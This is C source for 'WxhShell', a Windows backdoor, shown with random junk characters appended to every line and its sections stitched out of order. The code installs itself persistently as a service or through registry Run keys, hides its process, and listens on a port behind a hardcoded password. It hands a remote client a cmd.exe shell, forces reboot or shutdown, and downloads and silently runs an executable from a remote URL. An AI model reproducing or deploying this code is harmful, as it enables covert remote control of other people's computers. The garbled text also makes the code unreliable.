  case 'd': { i|Lir{vW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i' %V}2  
    if(Boot(SHUTDOWN)) >*,Zc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;H_yNrwA  
    else { :m_0WT  
    closesocket(wsh); 6S])IA&VJ  
    ExitThread(0); Xp1xhb*^  
    } Zg5@l3w  
    break; )M#~/~^f+  
    } <d# 9d.<  
  // 获取shell (3 8.s:-  
  case 's': { ?(*KQ#d  
    CmdShell(wsh); 8xDS eXh;  
    closesocket(wsh); jkQv cU  
    ExitThread(0); 5b0Ipg  
    break; Ko\m8\3?fK  
  } 7~C@x+1S/  
  // 退出 .=3Sm%  
  case 'x': { K7M7T5<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ScQJsFE6  
    CloseIt(wsh); g % q7  
    break; ppN96-]^0  
    } |q^e&M<  
  // 离开 rVzj LkN^  
  case 'q': { }EE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #~I%qa"_pa  
    closesocket(wsh); uKo)iB6D  
    WSACleanup(); RQ y|W}d_  
    exit(1); 3lM mSKN  
    break; g v&xC 6>  
        } 3*CF!Y%  
  } <\8dh(>  
  } Yt++  ?  
;EW]R9HCH  
  // 提示信息 93kSBF#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  h#^IT  
} @NlnZfMu  
  } QL-((dZ<  
7F4$k4r<  
  return; !vr">@}K  
} /(BQzCP9O;  
V7N8m<Tf  
// shell模块句柄 {{ R/:-6?@  
int CmdShell(SOCKET sock) pTOS}A[dh  
{ ?q7V B  
STARTUPINFO si; t2BkQ8vr  
ZeroMemory(&si,sizeof(si)); {O5;V/00}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f6PXcV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 64#~p)  
PROCESS_INFORMATION ProcessInfo; L,[0*h  
char cmdline[]="cmd"; p W:[Q\rSj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RxAWX?9Z  
  return 0; ^.mQ~F  
} <6mXlK3N0  
p!AQ  
// 自身启动模式 2!~ j(_TA  
int StartFromService(void) 2etcSU(y>  
{ Axk p  
typedef struct ul(1)q^  
{ OC#oJwC  
  DWORD ExitStatus; N1\u~%AT"  
  DWORD PebBaseAddress; }LM^>M%  
  DWORD AffinityMask; #i7!  
  DWORD BasePriority; isj<lnQ  
  ULONG UniqueProcessId; xh#ef=Bw  
  ULONG InheritedFromUniqueProcessId; I=x   
}   PROCESS_BASIC_INFORMATION; wS%I.  
wDem }uO  
PROCNTQSIP NtQueryInformationProcess; 1mJBxg}(  
HGC>jeWd_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TiCp2Rsz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RA+Y./*h  
cwz %LKh  
  HANDLE             hProcess; %HL@O]ftS  
  PROCESS_BASIC_INFORMATION pbi; #fG!dD42  
JR$Dp&]I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C&NoEtL>s  
  if(NULL == hInst ) return 0; er+m:XuV  
'@AK0No\W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _R8)%<E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EqUiC*u8{I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .<u<!fL2  
6@wnF>'/\  
  if (!NtQueryInformationProcess) return 0; ]0 ouJY  
W2%(a0p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @-qxNw  
  if(!hProcess) return 0; &hB~Z(zS!  
e|):%6#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KVtnz  
R|$=Pfg~4  
  CloseHandle(hProcess); ^(N+s?  
}-V .upl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ny*M{}E  
if(hProcess==NULL) return 0; (FH4\'t)  
3y r{B Xn  
HMODULE hMod; uEVRk9nb  
char procName[255]; AjAmV hq  
unsigned long cbNeeded; zST# X}  
VXn]*Mo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MZn7gT0  
qk~QcVg  
  CloseHandle(hProcess); [jD O8n/  
#ZCgpg$wM  
if(strstr(procName,"services")) return 1; // 以服务启动 67 7p9{:  
0w8Id . ,  
  return 0; // 注册表启动 <rRm bFH#  
} 15iCJ p  
vFL3eu#  
// 主模块 ,":"Op61  
int StartWxhshell(LPSTR lpCmdLine)  Tx/  
{  Ca@[]-_H  
  SOCKET wsl; -R~;E[ {%  
BOOL val=TRUE;  O7s0M?4  
  int port=0; #T#&qo#  
  struct sockaddr_in door; z.e%AcX  
1 YMaUyL 1  
  if(wscfg.ws_autoins) Install(); &^ =t%A%#  
0AJ6g@ t[  
port=atoi(lpCmdLine); asQ pVP  
z ]o&^Q  
if(port<=0) port=wscfg.ws_port; TkWS-=lNH0  
K&BlWXT  
  WSADATA data; p|(910OEQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E2X KhW  
w][ ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _? 1<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !ye%A&  
  door.sin_family = AF_INET; VG&|fekF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %dw-}1X  
  door.sin_port = htons(port); W$:;MY>0f  
wE%v[q[*X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JF: QQ\  
closesocket(wsl); cp0>Euco=  
return 1; 8Dhq_R'r  
} eJ'2 CM6  
Jc`LUJT  
  if(listen(wsl,2) == INVALID_SOCKET) { Ip.5I!h[Xb  
closesocket(wsl); Q`5jEtu#,  
return 1; UQ'D-eK  
} %CF(SK2w  
  Wxhshell(wsl); -T4?5T_  
  WSACleanup(); C.8]~MP  
?.\ CUVK  
return 0; #q==GT7  
4mNL;O  
} n3isLNvIp  
ETSBd[  
// 以NT服务方式启动 Vfg144FG'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ;lW0p8  
{ 0u'2f`p*  
DWORD   status = 0; TQE3/IL  
  DWORD   specificError = 0xfffffff; \{{B57/Isq  
o6xl,T%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E|6X.Ny]   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $o/ ?R]h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d";+8S  
  serviceStatus.dwWin32ExitCode     = 0; e`k 2g ^  
  serviceStatus.dwServiceSpecificExitCode = 0; YXrTm[P  
  serviceStatus.dwCheckPoint       = 0; 0x[vB5R  
  serviceStatus.dwWaitHint       = 0; ;o%r{:lng  
0RtqqNFD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4K0N$9pd:  
  if (hServiceStatusHandle==0) return; P~ffgzP  
^q FFF3<8  
status = GetLastError(); [m3G%PO@Da  
  if (status!=NO_ERROR) ^:{l~~9iKp  
{ jBI VZ!X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w^G<]S {l  
    serviceStatus.dwCheckPoint       = 0; }`f%"Z  
    serviceStatus.dwWaitHint       = 0; )w;XicT  
    serviceStatus.dwWin32ExitCode     = status; q6H90Zb  
    serviceStatus.dwServiceSpecificExitCode = specificError; !rTh+F*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  $Jb+}mlT  
    return; W zy8  
  } NkNw9?:#4  
bi#o1jR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o2a`4K  
  serviceStatus.dwCheckPoint       = 0; Kk9 JZ[nT'  
  serviceStatus.dwWaitHint       = 0; .H7"nt^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "F"G(ba^  
} WZ6!VE {  
g B+cU  
// 处理NT服务事件,比如:启动、停止 Z%(aBz7Et  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Swou>X4  
{ i @+Cr7K,  
switch(fdwControl) ? Ew>'(Q  
{ >9<h?F%S  
case SERVICE_CONTROL_STOP: r^WO$u|@i  
  serviceStatus.dwWin32ExitCode = 0; a(d'iAU8^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r6Pi ZgR  
  serviceStatus.dwCheckPoint   = 0; cg1<  
  serviceStatus.dwWaitHint     = 0; <wj2:Z0  
  {  fJc,KZy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gp; [WY\  
  } il5WLi;{  
  return; 3_^w/-7`B  
case SERVICE_CONTROL_PAUSE: 5T8X2fS:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6M+~{9(S  
  break; *=@Z\]"?  
case SERVICE_CONTROL_CONTINUE: ;&Eu< %y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |=jgrm1yj  
  break; p_B,7@Jl  
case SERVICE_CONTROL_INTERROGATE: gOgG23 x  
  break; Qi6vP&  
}; Zm&Zz^s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8{%/!ylJz  
} N7+K$)3  
0)k%nIhj  
// 标准应用程序主函数 4?jhZLBU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rZ:  
{ ?kE2 S6j5  
W 86S)+h  
// 获取操作系统版本 'qQ DM_+  
OsIsNt=GetOsVer(); !Aunwq^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }-: d*YtK  
\m5:~,p=  
  // 从命令行安装 <C# s0UX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1PLKcU  
~z32%k  
  // 下载执行文件 jqb,^T|j;m  
if(wscfg.ws_downexe) { Zu&trxnNf[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xhg{!w  
  WinExec(wscfg.ws_filenam,SW_HIDE); .7~Kfm@2  
} U:_T9!fG  
9dqD(S#C;"  
if(!OsIsNt) { n9cWvy&f  
// 如果时win9x,隐藏进程并且设置为注册表启动 -}4H'%Z(i  
HideProc(); Yk?ux Z4)H  
StartWxhshell(lpCmdLine); e!eWwC9u  
} '~3( s?B  
else cX *  
  if(StartFromService()) "pMXTRb  
  // 以服务方式启动 la|#SS95  
  StartServiceCtrlDispatcher(DispatchTable); u+8_et5T  
else 3,N7Nfe  
  // 普通方式启动 >tib21*  
  StartWxhshell(lpCmdLine); !l.Rv_o<O  
K# _plpr  
return 0; z_A%>E4  
} WYEvW<Hv  
HAGWA2wQ  
z-krL:A  
[h%_`8z  
=========================================== gj6"U {D  
`Bkba:  
{oBVb{<  
Z U f<s?  
6u8`,&U  
~aA+L-s|  
" aW w`v[v  
[m}x  
#include <stdio.h> .Ddl.9p5  
#include <string.h> *zz/U (9D  
#include <windows.h> ]r|.\}2Y7  
#include <winsock2.h> b*P \a  
#include <winsvc.h> \f /<#'  
#include <urlmon.h> 6"&&s  
\Cx3^ i X  
#pragma comment (lib, "Ws2_32.lib") ->8n.!F}  
#pragma comment (lib, "urlmon.lib") z81I2?v[Jr  
&S3szhe  
#define MAX_USER   100 // 最大客户端连接数 @H7dQ, %  
#define BUF_SOCK   200 // sock buffer DU}q4u@ )  
#define KEY_BUFF   255 // 输入 buffer !X[lNt O  
IO v4Zx<)  
#define REBOOT     0   // 重启 p)TH^87  
#define SHUTDOWN   1   // 关机 'y'>0'et  
c{FvMV2em  
#define DEF_PORT   5000 // 监听端口 >A2& Mjo  
Ge(r6"%7  
#define REG_LEN     16   // 注册表键长度 hrEKmRmF-  
#define SVC_LEN     80   // NT服务名长度 v,g,c`BjK  
3b%y+?-{\u  
// 从dll定义API CZwZ#WV6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I&1Mh4yu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i}+dctg/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >OiC].1   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :Tj,;0#/  
He j0l^  
// wxhshell配置信息 4:6@9.VVT  
struct WSCFG { +k8><_vr}  
  int ws_port;         // 监听端口 9;h 1;9sC|  
  char ws_passstr[REG_LEN]; // 口令 EWH'x$z_q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7J$ ^R6rh  
  char ws_regname[REG_LEN]; // 注册表键名 3@6f%Dyj  
  char ws_svcname[REG_LEN]; // 服务名 @jwUH8g1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E.6^~'/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 { " $2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kpj0IfC,10  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d*q _DV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" li/O&@g`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q?[k>fu0  
eN}FBX#'  
}; zZ;tSKL  
7(gQ6?KsZ  
// default Wxhshell configuration U%w-/!p  
struct WSCFG wscfg={DEF_PORT, wond>m 3  
    "xuhuanlingzhe", ce+\D'q[  
    1, iW)FjDTP  
    "Wxhshell", vcV=9q8P1  
    "Wxhshell", &?zJ|7rh@|  
            "WxhShell Service", @iWIgL  
    "Wrsky Windows CmdShell Service", Q#:,s8TW[  
    "Please Input Your Password: ", &Hh%pY"  
  1, (`>4~?|+T  
  "http://www.wrsky.com/wxhshell.exe", oX?2fu-  
  "Wxhshell.exe" FA4bv9:hi  
    }; 2!&:V]  
9O}YtX2  
// 消息定义模块 ,YH^jc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p1X lni%=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ev$?c9*>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o`G'E&  
char *msg_ws_ext="\n\rExit."; {#Gr=iv~N  
char *msg_ws_end="\n\rQuit."; <V>vDno\  
char *msg_ws_boot="\n\rReboot..."; tYmWze. j  
char *msg_ws_poff="\n\rShutdown..."; S~Nx;sB  
char *msg_ws_down="\n\rSave to "; C7qbofoV  
'%K,A-7W  
char *msg_ws_err="\n\rErr!"; L & PhABZ  
char *msg_ws_ok="\n\rOK!"; LuQ=i`eXx  
u!{P{C  
char ExeFile[MAX_PATH]; nM}X1^PiK"  
int nUser = 0; #C !8a  
HANDLE handles[MAX_USER]; #kma)_X  
int OsIsNt; m"+9[d_u  
O a-Z eCq  
SERVICE_STATUS       serviceStatus; 9"MC<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E;-R<X5n  
^dqyX(  
// 函数声明 M-|4cd]6  
int Install(void); ]9A9q<lZ  
int Uninstall(void); 6aMqU?-  
int DownloadFile(char *sURL, SOCKET wsh); U_M> Q_r(  
int Boot(int flag); $C^94$W  
void HideProc(void); S=M$g#X`5  
int GetOsVer(void); &x;v&  
int Wxhshell(SOCKET wsl); <R]?8L0{h  
void TalkWithClient(void *cs); (h`||48d  
int CmdShell(SOCKET sock); gX6'!}G8]  
int StartFromService(void); Cww$ A %}  
int StartWxhshell(LPSTR lpCmdLine); _W?}%;  
:X2B+}6_&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fdp/c wd  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  >cSc   
Dc BTW+  
// 数据结构和表定义 PiAA,  
SERVICE_TABLE_ENTRY DispatchTable[] = jOEb1  
{ !:e}d+F  
{wscfg.ws_svcname, NTServiceMain}, +J+]P\:  
{NULL, NULL} #^Sd r-   
}; :ykQ[d`:|  
+s_@964  
// 自我安装 r 97 VX>  
int Install(void) C=9|K`g5 R  
{ ~}wPiu,  
  char svExeFile[MAX_PATH]; P9Rq'u  
  HKEY key; &t%ICz&3  
  strcpy(svExeFile,ExeFile); |\N[EM%.@  
.c~;/@{  
// 如果是win9x系统,修改注册表设为自启动 *"1]NAz+  
if(!OsIsNt) { c%i/ '<Afr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2r[Q$GPM<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D97oS!*  
  RegCloseKey(key); SDdK5@1O4o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bl}$x/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~?[@KK  
  RegCloseKey(key); 9e8@0?0  
  return 0; oa;[[2c  
    } wf8vKl#Kfw  
  } -+ $u  
} Mgf80r=  
else { &)\0mpLK9  
hDVD@b  
// 如果是NT以上系统,安装为系统服务 <\Y>y+$3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p~=%CG^5  
if (schSCManager!=0) 8(uxz84ce  
{ }$m_):t@@  
  SC_HANDLE schService = CreateService PO |p53  
  ( m}F1sRkdQ  
  schSCManager, @c7 On)sy  
  wscfg.ws_svcname, 6RzTSb  
  wscfg.ws_svcdisp, S/7D}hJ  
  SERVICE_ALL_ACCESS, vbFY}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ig5J_Z^]b  
  SERVICE_AUTO_START, D2?~03c  
  SERVICE_ERROR_NORMAL, f+L )x  
  svExeFile, \<;/)!Nmw  
  NULL, O^sgUT1O  
  NULL, }t"!I\C  
  NULL,  "FG6R'  
  NULL, VWbgusxJ  
  NULL ) `;?%N\  
  ); ^R K[-tVV  
  if (schService!=0) "$ u"Py  
  { +J.^JXyp0  
  CloseServiceHandle(schService); 5l{_E:.1  
  CloseServiceHandle(schSCManager); I>ofSaN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8kO|t!?:U  
  strcat(svExeFile,wscfg.ws_svcname); b4,yLVi<T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tEf-BV;\y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \N/T^,  
  RegCloseKey(key); =\oNu&Q^  
  return 0; M|Z] B<_x  
    } Sy8o/-  
  } 5+,&9;'Y^  
  CloseServiceHandle(schSCManager); {N7,=(-2=  
} gsT%_2>CL  
} 0=-h9W{zI  
dd98v Vj  
return 1; yK[ ~(!c5  
} tJ'U<s  
.@1\26<  
// 自我卸载 ) c+ ZQq  
int Uninstall(void) nFxogCn   
{ ))306*X\  
  HKEY key; o.y4&bC14;  
F+c*v#T  
if(!OsIsNt) {  ) VJ|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {e>}.R  
  RegDeleteValue(key,wscfg.ws_regname); s_E iA _  
  RegCloseKey(key); {^$rmwN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X*d,z~k%*d  
  RegDeleteValue(key,wscfg.ws_regname); _gw~A {O  
  RegCloseKey(key); _(oJ8h(  
  return 0; kdg Q -UN$  
  } RHE< QG  
} =Z%&jul  
} K<\TF+  
else { >f}rM20Vm  
c AIS?]1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W 4 )^8/  
if (schSCManager!=0) O:k@'&  
{ ]6 }|X#_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :c<C;.  
  if (schService!=0) mezP"N=L~  
  { qj=12;  
  if(DeleteService(schService)!=0) { C2DNyMu  
  CloseServiceHandle(schService); H-0deJ[>  
  CloseServiceHandle(schSCManager); ]TD]    
  return 0; !k%Vw1 8  
  } hM+nA::w  
  CloseServiceHandle(schService); s )_sLt8?  
  } 9SMM%(3, r  
  CloseServiceHandle(schSCManager); @I_ A(cr  
} Etn]e;z4  
} !K6:W1  
1xcx2L+R  
return 1; c69B[Vjb  
} [Zgy,j\ \  
j3A+:KDn3n  
// 从指定url下载文件 Rp9uUJ 6o  
int DownloadFile(char *sURL, SOCKET wsh) k6G23p[9  
{ KHdj#3<AR  
  HRESULT hr; 8Ck:c45v  
char seps[]= "/"; -OVJ]  
char *token; }7Pd\tG]  
char *file; ( 3=.3[  
char myURL[MAX_PATH]; [wIyW/+  
char myFILE[MAX_PATH]; WYI? M  
NoiU5pP  
strcpy(myURL,sURL); 1~ZDHfd5  
  token=strtok(myURL,seps); rpy`Wz/[  
  while(token!=NULL) SE%i@}  
  { Gvj@?62  
    file=token; iTxn  
  token=strtok(NULL,seps); =:9n+7~$  
  } ;jI\MZ~l\  
jS| (g##4  
GetCurrentDirectory(MAX_PATH,myFILE); `^|mNh  
strcat(myFILE, "\\"); kA\;h|Y3  
strcat(myFILE, file); P'Rr5Xa  
  send(wsh,myFILE,strlen(myFILE),0); N!Kd VDdT|  
send(wsh,"...",3,0); 0^{zq|%Q!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M!mTNIj8~  
  if(hr==S_OK) A5 8i}G9  
return 0; f)N67z6  
else @CWfhc-Ub  
return 1; 'pZ~3q  
~hP[[?  
} ]Jv Z:'g}  
.L6t3/^  
// 系统电源模块 7.akp  
int Boot(int flag) )M^;6S  
{ .hZ =8y9  
  HANDLE hToken; =a7m^e7  
  TOKEN_PRIVILEGES tkp; aLhTaB-va  
zKgW9j<(  
  if(OsIsNt) { `| R8WM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *1%=?:$(r6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P),%S9jP;  
    tkp.PrivilegeCount = 1; NL2n\%n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zw"6-h4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x"U/M ?l  
if(flag==REBOOT) { 213D{#2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s9O] tk  
  return 0; zXZy:SD  
} :sM|~gT  
else { ("mW=Ln  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h7(twct  
  return 0; r_ r+&4n  
} 2c9@n9Vx3a  
  } {zmo7~=  
  else { ed*=p l3.  
if(flag==REBOOT) { =ngu*#?c4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( |O;Ci  
  return 0; 0qJ 3@d  
} 69q8t*%O  
else { N9{ivq|fO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [o|]>(tk  
  return 0; ^k u~m5v  
} hFQC%N. '  
} Zad+)~@!tq  
| %6B#uy  
return 1; Rp.@  
} VwtGHF'  
c.jnPVf:  
// win9x进程隐藏模块 _FAwW<S4B  
void HideProc(void) T /[)U  
{ B(b[Dbb  
F KL}6W:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "D@m/l  
  if ( hKernel != NULL ) >o'D/'>ku  
  { @0B<b7Jv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F~RUb&*/<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l  4~'CLi  
    FreeLibrary(hKernel); MY1 tYO  
  } u'?t'I  
@A$%baH0  
return; Q"Q|]f*  
} q@Q|oB0W$)  
$Q]`+:g*}  
// 获取操作系统版本 7e}p:Vfp  
int GetOsVer(void) x40R)Led  
{ Mzxz-cE  
  OSVERSIONINFO winfo; MZ0uc2L=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0r+-}5aSl5  
  GetVersionEx(&winfo); d7KeJ$xy}p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y0A2{'w  
  return 1; +R#*eo;o7  
  else XXe7w3x{  
  return 0; ( B50~it  
} ?nU V3#6{  
7"8HlOHA  
// 客户端句柄模块 jzzVZ%t  
int Wxhshell(SOCKET wsl) 7B7I'{d  
{ Gg,,qJO  
  SOCKET wsh; t}*teo[  
  struct sockaddr_in client; 3PBg3Y$  
  DWORD myID; !gJAK<]iW  
R<JI  
  while(nUser<MAX_USER) Hi.JL  
{ >@]E1Qfe  
  int nSize=sizeof(client); _jeub [  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |bd5aRS9  
  if(wsh==INVALID_SOCKET) return 1; DYzVV(_J"  
`{tykYwCLc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1 4(?mM3   
if(handles[nUser]==0) uY'Ib[H  
  closesocket(wsh); RZ?>>Ll6  
else ?8vjHEE  
  nUser++; _>3GNvS  
  } G?jY>;P)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FVF: 1DT  
2hU4g e?6  
  return 0; zxwpS  
} A3 j>R477A  
5{cAawU.  
// 关闭 socket *?\2Ohp  
void CloseIt(SOCKET wsh) _#N~$   
{ GI6 EZ}.MZ  
closesocket(wsh); 1l1X1  
nUser--; vLpE|QZs  
ExitThread(0); ~(hmiNa;  
} })&0e:6  
ixfkMM ,W  
// 客户端请求句柄 mv30xcc  
void TalkWithClient(void *cs) )[qY|yu  
{ Z.YsxbH3  
#Oe=G:+A  
  SOCKET wsh=(SOCKET)cs; oZOFZ-<  
  char pwd[SVC_LEN]; Uv%"45&7  
  char cmd[KEY_BUFF]; p8F|]6Z  
char chr[1];  NPf,9c;  
int i,j; >@EQarD  
_Zb_9&  
  while (nUser < MAX_USER) { '| Ag,x[  
sy>Pn  
if(wscfg.ws_passstr) { q$EVd9aN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q8[Nr3.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xES+m/?KlZ  
  //ZeroMemory(pwd,KEY_BUFF); 6EPC$*Xp!  
      i=0; drb_GT  
  while(i<SVC_LEN) { #uey1I@"9  
&,KxtlR![  
  // 设置超时 ;39{iU. m  
  fd_set FdRead; h]MSjC.X  
  struct timeval TimeOut; 9)f1CC]  
  FD_ZERO(&FdRead); ?w<x_Lo  
  FD_SET(wsh,&FdRead); S!.xmc\  
  TimeOut.tv_sec=8; m=y6E, _  
  TimeOut.tv_usec=0; #*Mk@XrV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,QKG$F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R` X$@iM  
%81tVhg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `_<AZ{&&  
  pwd=chr[0]; qTffh{q V  
  if(chr[0]==0xd || chr[0]==0xa) { dB_\,%vAd  
  pwd=0; ]FFU,me2  
  break; /Ee0S8!Z!1  
  } 2<B+ID3qv  
  i++; P *%bG 4  
    } YjdH7.js  
poXkH@[O  
  // 如果是非法用户,关闭 socket ^//N-?Fx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u2Rmp4]  
} (:[><-h.  
zIdQ^vm8Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *>\RGL;]8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z;%qpsq  
yM#W,@  
while(1) {  ym${4  
qqkZbsN  
  ZeroMemory(cmd,KEY_BUFF); lgnF\)  
;M'R/JlUN  
      // 自动支持客户端 telnet标准   *[vf47)r!  
  j=0; oh:t ex<  
  while(j<KEY_BUFF) { z<AQ;b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nLQ X? :  
  cmd[j]=chr[0]; ,eZ'pxt  
  if(chr[0]==0xa || chr[0]==0xd) { 6qH o$#iT  
  cmd[j]=0; 9k83wACry  
  break; # ^%'*/z  
  } R;;)7|;~  
  j++; +;*])N%q  
    } ]k,fEn(  
65<p:  
  // 下载文件 C?E;sRr0  
  if(strstr(cmd,"http://")) { @${!C\([1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FE_n+^|k<  
  if(DownloadFile(cmd,wsh)) 1TbKnmTx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xf#;GYO|2  
  else LW2Sko?Yo  
